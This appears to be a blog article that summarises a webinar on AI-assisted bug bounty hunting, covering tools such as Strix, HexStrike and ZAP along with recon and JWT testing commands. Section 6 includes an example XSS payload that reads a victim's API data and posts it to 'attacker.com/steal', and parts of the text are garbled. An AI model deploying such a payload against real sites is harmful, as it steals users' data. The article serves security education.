Listen to this Post
Introduction:
The integration of artificial intelligence into cybersecurity has sparked a paradigm shift in how security researchers approach vulnerability discovery. As attackers increasingly leverage AI to automate and scale their operations, bug bounty hunters and penetration testers must adapt by incorporating AI into their own arsenals—not as a replacement for foundational knowledge, but as a force multiplier that enhances precision, speed, and methodological rigor. The recent “Hunting Bugs with AI” webinar hosted by Merdeka Siber, featuring Teguh Darmawangsa (OSWE, CAPEN, CVE-2024-35284 holder), underscored a critical principle that resonates throughout the security community: AI is a tool to sharpen methodology, not a substitute for understanding how applications work and how attackers think.
Learning Objectives:
- Understand the role of AI as a methodological accelerator rather than a replacement for manual security testing
- Master practical techniques for integrating AI agents into bug bounty workflows, from reconnaissance to exploit validation
- Learn to distinguish between “AI slop”—low-quality, speculative submissions—and genuinely actionable AI-assisted findings
- Acquire hands-on knowledge of open-source AI security tools including Strix, HexStrike, and ZAP with AI augmentation
- Develop a framework for combining human intuition with AI precision to achieve higher-quality vulnerability discoveries
You Should Know:
1. The AI Methodology Paradigm: Precision Over Volume
The core insight from the Merdeka Siber webinar is that AI should be used to make bug hunting more accurate, faster, and precise—not to blindly spray payloads and hope something sticks. This distinction is crucial because the security industry is currently grappling with what Bugcrowd terms “sloptimism”: overly optimistic submissions driving large volumes of speculative or AI-generated reports submitted with minimal pre-submission validation.
The problem is real. By July 2025, the cURL project team’s submission volume had spiked to eight times the normal rate, largely due to low-quality AI-generated reports. Bugcrowd responded by implementing permanent bans for submission farming and other concrete controls. This illustrates that AI in bug bounty is not about generating more reports—it’s about generating better findings.
The correct approach mirrors what Bronxi, a Bugcrowd researcher, discovered when building AI agents: develop a clear objective and a pathway to reach it before automating anything. His workflow began with a Bash script he had already validated through manual hunting—only then did he layer AI agents on top to accelerate specific tasks. As he notes, “Human intuition and creativity especially cannot be replicated by LLMs”.
Practical Implementation:
Example: Using AI-assisted reconnaissance with open-source tools First, perform manual reconnaissance to understand the target subfinder -d target.com -o subdomains.txt httpx -l subdomains.txt -o live_hosts.txt Then, use AI to analyze findings and identify high-value targets This is where you'd integrate an LLM to parse output and prioritize Example with Strix (open-source AI agent): strix --target https://target.com --instruction "Prioritize authentication and authorization testing"
Windows example: Using PowerShell with AI-assisted analysis
Extract JavaScript files for AI analysis
Invoke-WebRequest -Uri "https://target.com/sitemap.xml" -OutFile "sitemap.xml"
Select-String -Path "sitemap.xml" -Pattern ".js" | ForEach-Object { $_ -replace "./([^/]+.js).", '$1' } > js_files.txt
Then feed these to an LLM for code analysis
The key is that AI should augment, not replace, the hunter’s understanding. As the webinar emphasized, “the way we think and read the target must continue to operate first”.
2. Building an AI-Augmented Security Testing Stack
Modern AI-powered security testing platforms have evolved significantly, offering capabilities that were unimaginable just a few years ago. Two open-source projects exemplify this evolution: Strix and HexStrike AI.
Strix is an open-source framework featuring autonomous AI agents that act like real hackers—they run code dynamically, find vulnerabilities, and validate them through actual exploitation. Key features include:
- Full hacker toolkit out of the box
- Teams of agents that collaborate and scale
- Real validation via exploitation and PoC, not false positives
- Auto-fix and reporting to accelerate remediation
Installation and basic usage:
Install Strix pipx install strix-agent Configure AI provider export STRIX_LLM="openai/gpt-5" export LLM_API_KEY="your-api-key" Run security assessment against a local codebase strix --target ./app-directory Run against a web application strix --target https://your-app.com Focused testing with specific instructions strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing"
HexStrike AI MCP Agents v6.0 takes a different approach, functioning as an advanced MCP server that lets AI agents autonomously run 150+ cybersecurity tools. Its multi-agent architecture includes specialized agents for bug bounty workflows, CTF challenges, CVE intelligence, and exploit generation.
The architecture is particularly noteworthy: AI agents (Claude, GPT, Copilot) communicate with the HexStrike MCP server via the Model Context Protocol (MCP), which then orchestrates the execution of security tools. This creates a seamless bridge between LLMs and real-world offensive security capabilities.
For those who prefer building custom solutions, the ZAP (Zed Attack Proxy) ecosystem offers a flexible foundation. As detailed in a recent ZAP blog post, the platform’s open-source nature, robust REST API, and dedicated community provide the freedom to design AI-augmented systems that go beyond traditional scanning.
// Example: Controlling ZAP via REST API with Node.js
const zapClient = require('zap-api');
// Start spidering
const spider = await zapClient.startSpider('https://example.com');
// Check spider status
const status = await zapClient.getSpiderStatus(spider.data.scanId);
// Launch active scan
const active = await zapClient.startActiveScan('https://example.com');
// Retrieve high-risk alerts
const alerts = await zapClient.getAlerts('https://example.com', undefined, undefined, '3');
The architecture integrates ZAP with an AI-driven learning engine through MCP, enabling AI agents to interact with ZAP programmatically while incorporating deeper analysis, adaptive payload generation, and learned vulnerability patterns.
3. Practical AI-Assisted Vulnerability Discovery Techniques
A. Code Analysis and Information Disclosure
AI excels at parsing through large codebases to identify interesting paths and potential information disclosure. This is particularly valuable for finding hardcoded secrets, API keys, and sensitive configuration data that might be buried in JavaScript files, source maps, or repositories.
Linux: Extract all JavaScript files from a target curl -s https://target.com | grep -o 'src="[^"].js"' | sed 's/src="//' | sed 's/"//' > js_urls.txt Download and analyze each JS file while read url; do curl -s "$url" > $(basename "$url") done < js_urls.txt Use AI to analyze these files for secrets and interesting patterns (Integrate with an LLM API for analysis)
Windows PowerShell: Similar approach
$jsUrls = (Invoke-WebRequest -Uri "https://target.com").Links | Where-Object { $_.href -match ".js$" } | Select-Object -ExpandProperty href
foreach ($url in $jsUrls) {
Invoke-WebRequest -Uri $url -OutFile (Split-Path $url -Leaf)
}
B. IDOR and Authorization Testing
AI has shown promising results in identifying Insecure Direct Object References (IDOR) vulnerabilities. The approach involves:
1. Mapping all accessible endpoints and parameters
- Analyzing patterns in object references (numeric IDs, UUIDs, hashes)
- Generating test cases that attempt to access unauthorized resources
4. Validating findings through actual exploitation
C. GraphQL Enumeration and API Security
Modern applications increasingly expose GraphQL APIs, which present unique attack surfaces. AI-powered tools can automate GraphQL introspection, query generation, and authorization testing.
Example GraphQL introspection query that AI agents can automate
query {
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
D. Payload Generation and Fuzzing
AI can generate context-aware payloads that adapt to the specific application being tested. For example, when testing for XSS, AI can generate payloads that bypass WAF rules or exploit framework-specific behaviors. Burp AI, for instance, can automatically generate针对性更强的 payloads based on the application context and assist in demonstrating business impact.
4. Cloud Hardening and Infrastructure Security
AI-powered tools are increasingly capable of identifying cloud misconfigurations and infrastructure vulnerabilities. HexStrike includes specialized cloud security tools including Prowler, Scout Suite, CloudMapper, Pacu, Trivy, Kube-Hunter, and Kube-Bench.
Example: Using Prowler for AWS security assessment prowler aws --profile my-profile --regions us-east-1 --checks check_id Using Scout Suite for multi-cloud assessment scout aws --profile my-profile Kubernetes security with Kube-Bench kube-bench --config-dir /path/to/config
These tools can be orchestrated by AI agents to provide comprehensive cloud security assessments that would traditionally require days of manual effort.
5. API Security and JWT Manipulation
API security is a critical area where AI assistance proves valuable. HexStrike includes dedicated API testing capabilities for GraphQL introspection, JWT manipulation, and REST API fuzzing.
Python: JWT token analysis and manipulation
import jwt
import base64
Decode JWT without verification (for analysis)
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
AI can analyze the decoded payload and suggest attacks
- Weak algorithms (none, HS256 with weak keys)
- Algorithm confusion attacks
- Kid parameter injection
- Claim manipulation (privilege escalation)
Using jwt_tool for comprehensive JWT testing python3 jwt_tool.py $TOKEN -t -M at Test for algorithm confusion python3 jwt_tool.py $TOKEN -X a Exploit with weak signature
6. Vulnerability Exploitation and Mitigation
The ultimate goal of AI-assisted bug hunting is not just finding vulnerabilities but validating them through actual exploitation and providing clear remediation guidance. Tools like Strix excel at this by generating proof-of-concept exploits and auto-fixing code.
The Bugcrowd AI Triage Assistant exemplifies this approach, providing immediate, deep insights into specific vulnerabilities and enabling analysts to quickly determine real-world security risk. It can generate Nuclei templates for known findings post-remediation, creating a continuous improvement cycle.
For CVE-2024-35284—a reflected XSS vulnerability in Mitel MiContact Center Business through 10.0.0.4 caused by insufficient input validation—an AI-assisted approach would:
1. Identify the vulnerable chat component through reconnaissance
2. Generate payloads that bypass input filters
3. Validate the XSS through actual exploitation
4. Provide remediation guidance (input sanitization, output encoding)
- Generate a PoC and report for the bug bounty platform
// Example XSS payload that might be generated by AI
<script>fetch('/api/user',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/steal',{method:'POST',body:JSON.stringify(d)}))</script>
What Undercode Say:
- Key Takeaway 1: AI in bug bounty is a methodological accelerator, not a shortcut. The most successful hunters will be those who combine deep foundational knowledge with AI-powered tools to achieve precision, not volume. The “sloptimism” problem—low-quality AI-generated submissions—demonstrates that without understanding, AI becomes a liability rather than an asset.
-
Key Takeaway 2: The future of bug hunting lies in hybrid human-AI workflows. Human intuition, creativity, and contextual understanding cannot be replicated by LLMs. AI excels at repetitive tasks, pattern recognition, and large-scale data analysis, but it requires human oversight to validate findings, understand business context, and craft meaningful reports. The most effective approach is to automate what can be automated and apply human intelligence where it matters most.
The webinar’s core message—that “the way we think and read the target must continue to operate first”—captures the essence of this evolution. AI tools are becoming increasingly sophisticated, but they remain tools. The methodology, the understanding of how applications work, the ability to think like an attacker—these fundamental skills remain paramount. AI amplifies what skilled hunters can do; it does not replace the need for skilled hunters in the first place.
As the security landscape continues to evolve with AI-driven attacks becoming more prevalent, the integration of AI into defensive and offensive security practices is not optional—it’s essential. But it must be done thoughtfully, with a clear understanding of what AI can and cannot do, and with a commitment to maintaining the human element that makes security research truly effective.
Prediction:
- +1 The democratization of AI-powered security tools through open-source projects like Strix and HexStrike will lower the barrier to entry for bug bounty hunting, potentially bringing more diverse talent into the security field.
-
+1 AI-assisted triage and analytics, as implemented by platforms like Bugcrowd, will significantly reduce vulnerability response times, shifting security teams from reactive to preemptive postures.
-
-1 The proliferation of low-quality AI-generated bug reports (“sloptimism”) will continue to strain bug bounty programs, requiring platforms to implement stricter submission policies and validation mechanisms.
-
-1 As AI-powered attack tools become more sophisticated, the gap between well-resourced attackers and defenders may widen, particularly for organizations that cannot afford to invest in AI-augmented security capabilities.
-
+1 The development of specialized AI security standards, such as the OWASP LLM Top 10 and Bugcrowd’s Vulnerability Rating Taxonomy for AI flaws, will provide much-1eeded frameworks for securing AI systems themselves.
-
-1 Over-reliance on AI for vulnerability discovery may lead to atrophy of manual testing skills among newer security researchers, creating a generation of hunters who cannot operate effectively without AI assistance.
-
+1 The integration of Model Context Protocol (MCP) as a standard for connecting AI models to security tools will enable more seamless and secure AI-security integrations.
-
+1 AI-powered tools that can automatically generate PoCs and remediation guidance will accelerate the vulnerability remediation lifecycle, reducing the window of exposure for critical vulnerabilities.
▶️ Related Video (92% Match):
https://www.youtube.com/watch?v=-T8UxpQkTj0
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Mrcslvknm Merdekasiber – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
